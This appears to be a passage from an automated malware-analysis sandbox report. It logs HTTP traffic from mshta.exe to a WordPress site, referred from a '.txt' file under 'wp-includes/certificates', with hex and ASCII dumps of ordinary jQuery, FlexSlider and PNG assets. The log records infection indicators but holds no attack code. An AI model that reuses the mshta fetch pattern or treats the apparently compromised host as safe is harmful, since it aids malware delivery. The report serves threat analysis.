2d 0a 09 6a 51 75 65 72 79 28 22 2e 74 68 75 6d 62 6e 61 69 6c 22 29 2e 70 61 72 65 6e 74 28 29 2e
                                                              Data Ascii: // ---------------------------------------------------------// !!!!!!!!!!!!!!!!!document ready!!!!!!!!!!!!!!!!!!!!!!!!!!// ---------------------------------------------------------jQuery(document).ready(function(){// ---------------------------------------------------------// Blog masonry// ---------------------------------------------------------if(jQuery('body.blog')[0]){var isotope_holder = jQuery('.isotope');isotope_holder.imagesLoaded( function() {isotope_holder.isotope({itemSelector : '.post_wrapper',hiddenClass : 'hidden',resizable : true,transformsEnabled : false,layoutMode: 'masonry'}).bind("resize.rainbows", function(){isotope_holder.isotope('reLayout');}).trigger("resize.rainbows").css({'visibility':'visible'});});}// ---------------------------------------------------------// Call Magnific Popup// ---------------------------------------------------------jQuery(".thumbnail").parent().
                                                              Aug 16, 2022 10:33:16.375350952 CEST1221OUTGET /wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:16.587798119 CEST1253INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:26:48 GMT
                                                              Server: Apache
                                                              ETag: "a5353d-4343-58592d4a732c0"
                                                              Last-Modified: Tue, 02 Apr 2019 21:29:23 GMT
                                                              Content-Length: 17219
                                                              Content-Type: application/x-javascript
                                                              X-Pad: avoid browser bug
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 14880503 21653465
                                                              Age: 388
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 77 69 6e 64 6f 77 2e 64 65 66 69 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 29 2e 70 6f 70 28 29 28 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 29 7d 3b 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 2e 63 6c 65 61 6e 44 61 74 61 29 7b 76 61 72 20 63 3d 61 2e 63 6c 65 61 6e 44 61 74 61 3b 61 2e 63 6c 65 61 6e 44 61 74 61 3d 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 64 3d 30 2c 65 3b 28 65 3d 62 5b 64 5d 29 21 3d 6e 75 6c 6c 3b 64 2b 2b 29 7b 61 28 65 29 2e 74 72 69 67 67 65 72 48 61 6e 64 6c 65 72 28 22 72 65 6d 6f 76 65 22 29 7d 63 28 62 29 7d 7d 65 6c 73 65 7b 76 61 72 20 64 3d 61 2e 66 6e 2e 72 65 6d 6f 76 65 3b 61 2e 66 6e 2e 72 65 6d 6f 76 65 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 21 63 29 7b 69 66 28 21 62 7c 7c 61 2e 66 69 6c 74 65 72 28 62 2c 5b 74 68 69 73 5d 29 2e 6c 65 6e 67 74 68 29 7b 61 28 22 2a 22 2c 74 68 69 73 29 2e 61 64 64 28 5b 74 68 69 73 5d 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 61 28 74 68 69 73 29 2e 74 72 69 67 67 65 72 48 61 6e 64 6c 65 72 28 22 72 65 6d 6f 76 65 22 29 7d 29 7d 7d 72 65 74 75 72 6e 20 64 2e 63 61 6c 6c 28 61 28 74 68 69 73 29 2c 62 2c 63 29 7d 29 7d 7d 61 2e 77 69 64 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 2c 64 29 7b 76 61 72 20 65 3d 62 2e 73 70 6c 69 74 28 22 2e 22 29 5b 30 5d 2c 66 3b 62 3d 62 2e 73 70 6c 69 74 28 22 2e 22 29 5b 31 5d 3b 66 3d 65 2b 22 2d 22 2b 62 3b 69 66 28 21 64 29 7b 64 3d 63 3b 63 3d 61 2e 57 69 64 67 65 74 7d 61 2e 65 78 70 72 5b 22 3a 22 5d 5b 66 5d 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 21 21 61 2e 64 61 74 61 28 63 2c 62 29 7d 3b 61 5b 65 5d 3d 61 5b 65 5d 7c 7c 7b 7d 3b 61 5b 65 5d 5b 62 5d 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 7b 74 68 69 73 2e 5f 63 72 65 61 74 65 57 69 64 67 65 74 28 61 2c 62 29 7d 7d 3b 76 61 72 20 67 3d 6e 65 77 20 63 3b 67 2e 6f 70 74 69 6f 6e 73 3d 61 2e 65 78 74 65 6e 64 28 74 72 75 65 2c 7b 7d 2c 67 2e 6f 70 74 69 6f 6e 73 29 3b 61 5b 65 5d 5b 62 5d 2e 70 72 6f 74 6f 74 79 70 65 3d 61 2e 65 78 74 65 6e 64 28 74 72 75 65 2c 67 2c 7b 6e 61 6d 65 73 70 61 63 65 3a 65 2c 77 69 64 67 65 74 4e 61 6d 65 3a 62 2c 77 69 64 67 65 74 45 76 65 6e 74 50 72 65 66 69 78 3a 61 5b 65 5d 5b 62 5d 2e 70 72 6f 74 6f 74 79 70 65 2e 77 69 64 67 65 74 45 76 65 6e 74 50 72 65 66 69 78 7c 7c 62 2c 77 69 64 67 65 74 42 61 73 65 43 6c 61 73 73 3a 66 7d 2c 64 29 3b 61 2e 77 69 64 67 65 74 2e 62 72 69 64 67 65 28 62 2c 61 5b 65 5d 5b 62 5d 29 7d 3b 61 2e 77 69 64 67 65 74 2e 62 72 69 64 67 65 3d 66
                                                              Data Ascii: window.define=function(){Array.prototype.slice.call(arguments).pop()(window.jQuery)};define(["jquery"],function(a){(function(a,b){if(a.cleanData){var c=a.cleanData;a.cleanData=function(b){for(var d=0,e;(e=b[d])!=null;d++){a(e).triggerHandler("remove")}c(b)}}else{var d=a.fn.remove;a.fn.remove=function(b,c){return this.each(function(){if(!c){if(!b||a.filter(b,[this]).length){a("*",this).add([this]).each(function(){a(this).triggerHandler("remove")})}}return d.call(a(this),b,c)})}}a.widget=function(b,c,d){var e=b.split(".")[0],f;b=b.split(".")[1];f=e+"-"+b;if(!d){d=c;c=a.Widget}a.expr[":"][f]=function(c){return!!a.data(c,b)};a[e]=a[e]||{};a[e][b]=function(a,b){if(arguments.length){this._createWidget(a,b)}};var g=new c;g.options=a.extend(true,{},g.options);a[e][b].prototype=a.extend(true,g,{namespace:e,widgetName:b,widgetEventPrefix:a[e][b].prototype.widgetEventPrefix||b,widgetBaseClass:f},d);a.widget.bridge(b,a[e][b])};a.widget.bridge=f
                                                              Aug 16, 2022 10:33:16.593230963 CEST1271OUTGET /wp-content/plugins/gtranslate/flags/16/pt-br.png HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:16.805428982 CEST1297INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:29:28 GMT
                                                              Server: Apache
                                                              ETag: "a508ae-2af-5c93d38583b98"
                                                              Last-Modified: Tue, 10 Aug 2021 23:54:19 GMT
                                                              Content-Length: 687
                                                              Content-Type: image/png
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 17001601 16865953
                                                              Age: 228
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 06 00 00 00 1f f3 ff 61 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 20 63 48 52 4d 00 00 7a 25 00 00 80 83 00 00 f9 ff 00 00 80 e9 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 6f 92 5f c5 46 00 00 02 35 49 44 41 54 78 da a4 93 4b 48 54 61 18 86 9f ff 9c a3 73 9c 71 9c 46 87 69 6c 2a 24 45 85 49 a6 8c 88 dc b6 69 53 64 b4 ef b2 aa 2c a4 65 50 46 3b 77 81 8b 16 ad 82 68 57 b6 8a 88 10 91 86 26 cc 10 25 1a ac c6 b2 1a e7 e2 05 cd b9 9c cb 9c f3 b7 11 b5 cb 46 fc 36 df e2 fd 78 78 f9 78 5f 21 a5 64 27 23 80 5a a0 7e 7d 6f 67 2c a0 a8 01 81 b3 cf ee 14 fe 56 25 60 3a 0a 20 f0 28 0e 42 fc 4b 18 ee bd 1b d6 00 9f e3 3a c4 c3 ad 1b 82 2d 15 14 24 c7 23 cb 28 42 f2 26 d7 44 d5 15 d4 2a ee c6 cd 54 21 0d e0 d3 00 d5 76 1d d6 ac 32 8b 95 22 86 a3 d2 16 58 e3 cc be 3c 4d a6 00 09 91 e8 67 86 7f ee 26 b5 e4 a7 4e 73 68 aa ab c7 76 1d 00 55 03 30 6d 8b 42 b9 42 d1 2a d1 db 92 e5 74 74 89 a1 c7 3d 8c be db 03 55 49 77 57 96 9b 17 93 bc 6a 08 f2 24 dd 8c 23 55 4c db 02 40 03 28 1b 26 91 70 8e f3 b1 0f 74 45 f2 bc 48 9e 62 b6 12 e7 58 0f e4 97 4a 8c bc df 4f d0 3b cf ed fe 31 ba 77 7d e7 61 fa 20 b3 0b 5b 00 2d 9e 45 06 e2 53 34 e8 05 b0 55 ee 3f 2a 32 3a 91 c2 1f 74 69 8e 7a d9 db 11 e0 47 29 4c 75 25 43 67 e8 1b 03 fe 39 ae 2d c4 49 02 0a c0 64 41 e5 72 22 c6 e4 7c 23 e8 15 0e 75 64 70 ab 1e 4a e5 2a 5f 66 7e 31 fa 7c 85 c3 07 f2 68 81 32 1f 73 01 fa 12 31 92 59 6d d3 81 69 18 bc ce 35 90 c8 1e e1 6a ec 2b 57 ce bd 65 7a 26 c4 cb 64 1b a8 0a 27 8e 7e e2 64 f7 53 86 26 da b9 37 dd 8a 8d 8f 5a 63 75 13 60 19 06 5e c5 4b b9 2a 18 9c 6c 67 64 3e c4 8d fe 31 6e 5d 48 80 14 ac 06 2d ae a7 62 24 32 21 7c 35 55 7c 9a 4d d9 30 b6 38 b0 2c 74 24 ba a6 a2 6b 92 d4 72 88 be f1 46 2e 75 ce e1 a9 71 79 30 de 42 c5 56 09 d5 39 80 8a 8b c4 b4 36 9f 68 49 c7 65 25 9d fd 23 65 15 60 70 46 07 40 57 73 08 21 31 ff 13 67 01 04 80 28 e0 df 66 17 d6 80 8c 00 d4 f5 22 a9 db 04 38 80 25 76 5a e7 df 03 00 ff a6 e7 ee 3e 29 e0 82 00 00 00 00 49 45 4e 44 ae 42 60 82
                                                              Data Ascii: PNGIHDRapHYs cHRMz%u0`:o_F5IDATxKHTasqFil*$EIiSd,ePF;whW&%F6xxx_!d'#Z~}og,V%`: (BK:-$#(B&D*T!v2"X<Mg&NshvU0mBB*tt=UIwWj$#UL@(&ptEHbXJO;1w}a [-ES4U?*2:tizG)Lu%Cg9-IdAr"|#udpJ*_f~1|h2s1Ymi5j+Wez&d'~dS&7Zcu`^K*lgd>1n]H-b$2!|5U|M08,t$krF.uqy0BV96hIe%#e`pF@Ws!1g(f"8%vZ>)IENDB`


                                                              Session IDSource IPSource PortDestination IPDestination PortProcess
                                                              25192.168.2.2249202187.45.240.6980C:\Windows\System32\mshta.exe
                                                              TimestampkBytes transferredDirectionData
                                                              Aug 16, 2022 10:33:25.242630959 CEST1438OUTGET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js?ver=2.2.2 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:25.481443882 CEST1440INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:29:39 GMT
                                                              Server: Apache
                                                              ETag: "a4fac1-5486-58592f81e2d80"
                                                              Last-Modified: Tue, 02 Apr 2019 21:39:18 GMT
                                                              Content-Length: 21638
                                                              Content-Type: application/x-javascript
                                                              X-Pad: avoid browser bug
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 13337793 18003191
                                                              Age: 225
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 2f 2a 0a 20 2a 20 6a 51 75 65 72 79 20 46 6c 65 78 53 6c 69 64 65 72 20 76 32 2e 32 2e 32 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 32 20 57 6f 6f 54 68 65 6d 65 73 0a 20 2a 20 43 6f 6e 74 72 69 62 75 74 69 6e 67 20 41 75 74 68 6f 72 3a 20 54 79 6c 65 72 20 53 6d 69 74 68 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 66 6c 65 78 73 6c 69 64 65 72 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 61 28 62 29 3b 64 2e 76 61 72 73 3d 61 2e 65 78 74 65 6e 64 28 7b 7d 2c 61 2e 66 6c 65 78 73 6c 69 64 65 72 2e 64 65 66 61 75 6c 74 73 2c 63 29 3b 76 61 72 20 6a 2c 65 3d 64 2e 76 61 72 73 2e 6e 61 6d 65 73 70 61 63 65 2c 66 3d 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 26 26 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 6d 73 50 6f 69 6e 74 65 72 45 6e 61 62 6c 65 64 26 26 77 69 6e 64 6f 77 2e 4d 53 47 65 73 74 75 72 65 2c 67 3d 28 22 6f 6e 74 6f 75 63 68 73 74 61 72 74 22 69 6e 20 77 69 6e 64 6f 77 7c 7c 66 7c 7c 77 69 6e 64 6f 77 2e 44 6f 63 75 6d 65 6e 74 54 6f 75 63 68 26 26 64 6f 63 75 6d 65 6e 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 44 6f 63 75 6d 65 6e 74 54 6f 75 63 68 29 26 26 64 2e 76 61 72 73 2e 74 6f 75 63 68 2c 68 3d 22 63 6c 69 63 6b 20 74 6f 75 63 68 65 6e 64 20 4d 53 50 6f 69 6e 74 65 72 55 70 22 2c 69 3d 22 22 2c 6b 3d 22 76 65 72 74 69 63 61 6c 22 3d 3d 3d 64 2e 76 61 72 73 2e 64 69 72 65 63 74 69 6f 6e 2c 6c 3d 64 2e 76 61 72 73 2e 72 65 76 65 72 73 65 2c 6d 3d 64 2e 76 61 72 73 2e 69 74 65 6d 57 69 64 74 68 3e 30 2c 6e 3d 22 66 61 64 65 22 3d 3d 3d 64 2e 76 61 72 73 2e 61 6e 69 6d 61 74 69 6f 6e 2c 6f 3d 22 22 21 3d 3d 64 2e 76 61 72 73 2e 61 73 4e 61 76 46 6f 72 2c 70 3d 7b 7d 2c 71 3d 21 30 3b 61 2e 64 61 74 61 28 62 2c 22 66 6c 65 78 73 6c 69 64 65 72 22 2c 64 29 2c 70 3d 7b 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 64 2e 61 6e 69 6d 61 74 69 6e 67 3d 21 31 2c 64 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 3d 70 61 72 73 65 49 6e 74 28 64 2e 76 61 72 73 2e 73 74 61 72 74 41 74 3f 64 2e 76 61 72 73 2e 73 74 61 72 74 41 74 3a 30 2c 31 30 29 2c 69 73 4e 61 4e 28 64 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 29 26 26 28 64 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 3d 30 29 2c 64 2e 61 6e 69 6d 61 74 69 6e 67 54 6f 3d 64 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 2c 64 2e 61 74 45 6e 64 3d 30 3d 3d 3d 64 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 7c 7c 64 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 3d 3d 3d 64 2e 6c 61 73 74 2c 64 2e 63 6f 6e 74 61 69 6e 65 72 53 65 6c 65 63 74 6f 72 3d 64 2e 76 61 72 73 2e 73 65 6c 65 63 74 6f 72 2e 73 75 62 73 74 72 28 30 2c 64 2e 76 61 72 73 2e 73 65 6c 65 63 74 6f 72 2e 73 65 61 72 63 68 28 22 20 22 29 29 2c 64 2e 73 6c 69 64 65 73 3d 61 28 64 2e 76 61 72 73 2e 73 65 6c 65 63 74 6f 72 2c 64 29 2c 64 2e 63 6f 6e 74 61 69 6e 65 72 3d 61 28 64 2e 63 6f 6e 74 61 69 6e 65 72 53 65 6c 65 63 74 6f 72 2c 64 29 2c 64 2e 63
                                                              Data Ascii: /* * jQuery FlexSlider v2.2.2 * Copyright 2012 WooThemes * Contributing Author: Tyler Smith */!function(a){a.flexslider=function(b,c){var d=a(b);d.vars=a.extend({},a.flexslider.defaults,c);var j,e=d.vars.namespace,f=window.navigator&&window.navigator.msPointerEnabled&&window.MSGesture,g=("ontouchstart"in window||f||window.DocumentTouch&&document instanceof DocumentTouch)&&d.vars.touch,h="click touchend MSPointerUp",i="",k="vertical"===d.vars.direction,l=d.vars.reverse,m=d.vars.itemWidth>0,n="fade"===d.vars.animation,o=""!==d.vars.asNavFor,p={},q=!0;a.data(b,"flexslider",d),p={init:function(){d.animating=!1,d.currentSlide=parseInt(d.vars.startAt?d.vars.startAt:0,10),isNaN(d.currentSlide)&&(d.currentSlide=0),d.animatingTo=d.currentSlide,d.atEnd=0===d.currentSlide||d.currentSlide===d.last,d.containerSelector=d.vars.selector.substr(0,d.vars.selector.search(" ")),d.slides=a(d.vars.selector,d),d.container=a(d.containerSelector,d),d.c
                                                              Aug 16, 2022 10:33:25.481489897 CEST1441INData Raw: 6f 75 6e 74 3d 64 2e 73 6c 69 64 65 73 2e 6c 65 6e 67 74 68 2c 64 2e 73 79 6e 63 45 78 69 73 74 73 3d 61 28 64 2e 76 61 72 73 2e 73 79 6e 63 29 2e 6c 65 6e 67 74 68 3e 30 2c 22 73 6c 69 64 65 22 3d 3d 3d 64 2e 76 61 72 73 2e 61 6e 69 6d 61 74 69
                                                              Data Ascii: ount=d.slides.length,d.syncExists=a(d.vars.sync).length>0,"slide"===d.vars.animation&&(d.vars.animation="swing"),d.prop=k?"top":"marginLeft",d.args={},d.manualPause=!1,d.stopped=!1,d.started=!1,d.startTimeout=null,d.transitions=!d.vars.video&&
                                                              Aug 16, 2022 10:33:25.481530905 CEST1442INData Raw: 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 76 61 72 20 66 3d 30 3e 62 3f 64 2e 67 65 74 54 61 72 67 65 74 28 22 6e 65 78 74 22 29 3a 64 2e 67 65 74 54 61 72 67 65 74 28 22 70 72 65 76 22 29
                                                              Data Ascii: function(a,b){a.preventDefault();var f=0>b?d.getTarget("next"):d.getTarget("prev");d.flexAnimate(f,d.vars.pauseOnAction)}),d.vars.pausePlay&&p.pausePlay.setup(),d.vars.slideshow&&d.vars.pauseInvisible&&p.pauseInvisible.init(),d.vars.slideshow&
                                                              Aug 16, 2022 10:33:25.481573105 CEST1444INData Raw: 7c 7c 28 64 2e 64 69 72 65 63 74 69 6f 6e 3d 64 2e 63 75 72 72 65 6e 74 49 74 65 6d 3c 65 3f 22 6e 65 78 74 22 3a 22 70 72 65 76 22 2c 64 2e 66 6c 65 78 41 6e 69 6d 61 74 65 28 65 2c 64 2e 76 61 72 73 2e 70 61 75 73 65 4f 6e 41 63 74 69 6f 6e 2c
                                                              Data Ascii: ||(d.direction=d.currentItem<e?"next":"prev",d.flexAnimate(e,d.vars.pauseOnAction,!1,!0,!0))})})):d.slides.on(h,function(b){b.preventDefault();var c=a(this),f=c.index(),g=c.offset().left-a(d).scrollLeft();0>=g&&c.hasClass(e+"active-slide")?d.f
                                                              Aug 16, 2022 10:33:25.481612921 CEST1445INData Raw: 61 72 20 63 3d 61 28 74 68 69 73 29 2c 66 3d 64 2e 63 6f 6e 74 72 6f 6c 4e 61 76 2e 69 6e 64 65 78 28 63 29 3b 63 2e 68 61 73 43 6c 61 73 73 28 65 2b 22 61 63 74 69 76 65 22 29 7c 7c 28 64 2e 64 69 72 65 63 74 69 6f 6e 3d 66 3e 64 2e 63 75 72 72
                                                              Data Ascii: ar c=a(this),f=d.controlNav.index(c);c.hasClass(e+"active")||(d.direction=f>d.currentSlide?"next":"prev",d.flexAnimate(f,d.vars.pauseOnAction))}""===i&&(i=b.type),p.setToClearWatchedEvent()})},setupManual:function(){d.controlNav=d.manualContro
                                                              Aug 16, 2022 10:33:25.481654882 CEST1447INData Raw: 6f 6e 74 61 69 6e 65 72 29 2e 61 70 70 65 6e 64 28 62 29 2c 64 2e 64 69 72 65 63 74 69 6f 6e 4e 61 76 3d 61 28 22 2e 22 2b 65 2b 22 64 69 72 65 63 74 69 6f 6e 2d 6e 61 76 20 6c 69 20 61 22 2c 64 2e 63 6f 6e 74 72 6f 6c 73 43 6f 6e 74 61 69 6e 65
                                                              Data Ascii: ontainer).append(b),d.directionNav=a("."+e+"direction-nav li a",d.controlsContainer)):(d.append(b),d.directionNav=a("."+e+"direction-nav li a",d)),p.directionNav.update(),d.directionNav.bind(h,function(b){b.preventDefault();var c;(""===i||i===
                                                              Aug 16, 2022 10:33:25.481695890 CEST1448INData Raw: 29 2c 22 22 3d 3d 3d 69 26 26 28 69 3d 62 2e 74 79 70 65 29 2c 70 2e 73 65 74 54 6f 43 6c 65 61 72 57 61 74 63 68 65 64 45 76 65 6e 74 28 29 7d 29 7d 2c 75 70 64 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 22 70 6c 61 79 22 3d 3d 3d 61 3f 64
                                                              Data Ascii: ),""===i&&(i=b.type),p.setToClearWatchedEvent()})},update:function(a){"play"===a?d.pausePlay.removeClass(e+"pause").addClass(e+"play").html(d.vars.playText):d.pausePlay.removeClass(e+"play").addClass(e+"pause").html(d.vars.pauseText)}},touch:f
                                                              Aug 16, 2022 10:33:25.481734991 CEST1450INData Raw: 61 74 68 2e 61 62 73 28 6b 29 3e 67 2f 32 29 3f 64 2e 66 6c 65 78 41 6e 69 6d 61 74 65 28 6d 2c 64 2e 76 61 72 73 2e 70 61 75 73 65 4f 6e 41 63 74 69 6f 6e 29 3a 6e 7c 7c 64 2e 66 6c 65 78 41 6e 69 6d 61 74 65 28 64 2e 63 75 72 72 65 6e 74 53 6c
                                                              Data Ascii: ath.abs(k)>g/2)?d.flexAnimate(m,d.vars.pauseOnAction):n||d.flexAnimate(d.currentSlide,d.vars.pauseOnAction,!0)}b.removeEventListener("touchend",t,!1),a=null,c=null,h=null,e=null}function u(a){a.stopPropagation(),d.animating?a.preventDefault():
                                                              Aug 16, 2022 10:33:25.481775045 CEST1451INData Raw: 69 6f 6e 29 3a 6e 7c 7c 64 2e 66 6c 65 78 41 6e 69 6d 61 74 65 28 64 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 2c 64 2e 76 61 72 73 2e 70 61 75 73 65 4f 6e 41 63 74 69 6f 6e 2c 21 30 29 7d 61 3d 6e 75 6c 6c 2c 63 3d 6e 75 6c 6c 2c 68 3d 6e 75 6c 6c
                                                              Data Ascii: ion):n||d.flexAnimate(d.currentSlide,d.vars.pauseOnAction,!0)}a=null,c=null,h=null,e=null,q=0}}var a,c,e,g,h,i,j=!1,o=0,p=0,q=0;f?(b.style.msTouchAction="none",b._gesture=new MSGesture,b._gesture.target=b,b.addEventListener("MSPointerDown",u,!
                                                              Aug 16, 2022 10:33:25.481816053 CEST1452INData Raw: 48 69 64 64 65 6e 22 69 6e 20 64 6f 63 75 6d 65 6e 74 26 26 28 70 2e 70 61 75 73 65 49 6e 76 69 73 69 62 6c 65 2e 76 69 73 50 72 6f 70 3d 61 5b 62 5d 2b 22 48 69 64 64 65 6e 22 29 3b 69 66 28 70 2e 70 61 75 73 65 49 6e 76 69 73 69 62 6c 65 2e 76
                                                              Data Ascii: Hidden"in document&&(p.pauseInvisible.visProp=a[b]+"Hidden");if(p.pauseInvisible.visProp){var c=p.pauseInvisible.visProp.replace(/[H|h]idden/,"")+"visibilitychange";document.addEventListener(c,function(){p.pauseInvisible.isHidden()?d.startTime
                                                              Aug 16, 2022 10:33:25.713371038 CEST1468INData Raw: 2e 63 6f 6e 74 72 6f 6c 4e 61 76 2e 61 63 74 69 76 65 28 29 2c 6d 7c 7c 64 2e 73 6c 69 64 65 73 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 65 2b 22 61 63 74 69 76 65 2d 73 6c 69 64 65 22 29 2e 65 71 28 62 29 2e 61 64 64 43 6c 61 73 73 28 65 2b 22 61
                                                              Data Ascii: .controlNav.active(),m||d.slides.removeClass(e+"active-slide").eq(b).addClass(e+"active-slide"),d.atEnd=0===b||b===d.last,d.vars.directionNav&&p.directionNav.update(),b===d.last&&(d.vars.end(d),d.vars.animationLoop||d.pause()),n)g?(d.slides.eq
                                                              Aug 16, 2022 10:33:25.749346018 CEST1505OUTGET /wp-content/plugins/gtranslate/switcher.png HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:25.989679098 CEST1562INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:24:27 GMT
                                                              Server: Apache
                                                              ETag: "a50db1-cf-5c93d3867844d"
                                                              Last-Modified: Tue, 10 Aug 2021 23:54:20 GMT
                                                              Content-Length: 207
                                                              Content-Type: image/png
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 13337795 22727446
                                                              Age: 538
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 0a 00 00 00 13 08 06 00 00 00 a9 eb 9c ee 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 00 16 74 45 58 74 43 72 65 61 74 69 6f 6e 20 54 69 6d 65 00 30 31 2f 30 39 2f 31 30 dc b9 92 1f 00 00 00 1c 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 46 69 72 65 77 6f 72 6b 73 20 43 53 34 06 b2 d3 a0 00 00 00 27 49 44 41 54 28 91 63 7c f7 ee dd 7f 06 22 00 0b 23 23 23 31 ea 86 84 42 26 a2 54 d1 c4 ea 51 85 d4 51 48 fd 28 04 00 35 2f 04 3f b8 1b 51 2d 00 00 00 00 49 45 4e 44 ae 42 60 82
                                                              Data Ascii: PNGIHDRsBIT|dpHYs~tEXtCreation Time01/09/10tEXtSoftwareAdobe Fireworks CS4'IDAT(c|"###1B&TQQH(5/?Q-IENDB`
                                                              Aug 16, 2022 10:33:25.991281033 CEST1563OUTGET /wp-content/plugins/gtranslate/arrow_down.png HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
